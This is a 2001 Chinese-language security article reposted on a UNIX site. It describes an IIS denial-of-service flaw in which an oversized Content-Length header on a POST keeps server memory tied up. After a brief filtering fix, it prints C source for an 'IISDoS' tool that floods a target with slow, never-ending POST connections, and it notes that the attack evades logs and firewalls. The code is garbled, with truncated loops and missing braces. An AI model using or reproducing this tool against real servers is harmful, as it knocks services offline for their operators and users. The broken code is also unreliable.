[ 永远的UNIX::UNIX技术资料的宝库 ]

首页 > 安全技术 > 程序 > 正文
HTTP协议Content Lenth限制漏洞导致拒绝服务攻击
http://www.fanqiang.com (2001-05-20 10:08:01)
漏洞描述: 
在HTTP协议中,当使用POST方法时,可以设置Content Lenth来定义需要传送的数据长度,但是HTTP协议中并没有对Content Lenth的大小进行限制,这使得拒绝服务-内存耗尽攻击成为可能。 
在IIS中,用户POST数据时,系统先将用户上传的数据存放在内存中,当用户完成数据传送(数据的长度达到Content Lenth时),IIS再将这块内存交给特定的 

文件或CGI处理;如果用户POST非常大的数据(通过多次数据发送)例如Content Lenth:999999999,在传送完成前,内存不会释放,攻击者可以利用这个缺陷,连续向WEB服务器发送垃圾数据直至WEB服务器内存耗尽。在Web服务器内存不足的时候,我们可以明显的看到系统速度下降、硬盘读写增多(缓存)等现象的出现。 

值得注意的是,这种攻击方法基本不会留下痕迹: 
首先,由於数据传送不会完成(只要Content Lenth足够大,比如Content-Length: 2147483647),所以IIS日无法记录(IIS日是在操作完成後才记录的) 

其次,由於进行的是正常的POST操作,而且数据是缓慢送入WEB服务器的,因此防火墙很难发现这样的操作。(除非在防火墙上 
对Content Lenth进行监测) 

第三,这种攻击对於攻击者的主机来说几乎没有任何负荷,既不会消耗CPU更不会占用内存,最多是占用了部分带宽。 

解决方法: 
编写相应的Filter,对於过大的Content Lenth进行过滤。 

漏洞测试: 
以下的程式可以测试你的服务器是否有Content Lenth漏洞: 

// IISDoS 
// By Shotgun 
// shotgun@xici.net 

void IISDos() 

int net[2048],Counter=0,K=0,i,j; 
struct sockaddr_in sa; 
char send_data[1024]="POST /default.asp HTTP/1.1 \n Host:xici.net \n Content-Type: text/html \n Content-Length: 

2147483647\n\r"; 
char *send_char; 
WSADATA WSAData; 
strncpy((char *)&sa, "", sizeof sa); 
sa.sin_family = AF_INET; 
sa.sin_port = htons(80); 
sa.sin_addr.s_addr=inet_addr(Attack_IP); 
send_char=(char *)malloc(sizeof(char)); 
for(i=0;i
if((net[i]=socket(AF_INET, SOCK_STREAM, 0))==INVALID_SOCKET) 

printf("Allocating scoket %d falid.\ErrorCode:n",i); 
exit(0); 

if((connect(net[i], (struct sockaddr *) &sa, sizeof sa))!=0) 

printf("Connect %d failed.ErrorCode:%d\n",i,GetLastError()); 
for(i=0;iWSACleanup(); 
exit(0); 

if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR) 

printf("Sending %d data to the server failed1.ErrorCode:%d\n",i,GetLastError()); 
exit(0); 

for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR) 

printf("Sending %d Keepalive data failed.ErrorCode:%d\n",i,GetLastError()); 
exit(0); 

Sleep(200); 

while(1) 

for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR) 

printf("Sending %d data failed.ErrorCode:%d\n",i,GetLastError()); 
closesocket(net[i]); 
WSACleanup(); 
exit(0); 

else 

Counter++; 
if(Counter==1024) 

Counter=0; 
K++; 
printf("%dKb ",K); 

Sleep(DelayTime); 


for(i=0;iclosesocket(net[i]); 
WSACleanup(); 
} (http://www.fanqiang.com)
    进入【UNIX论坛

相关文章

===更多相关===
 

★  樊强制作 欢迎分享  ★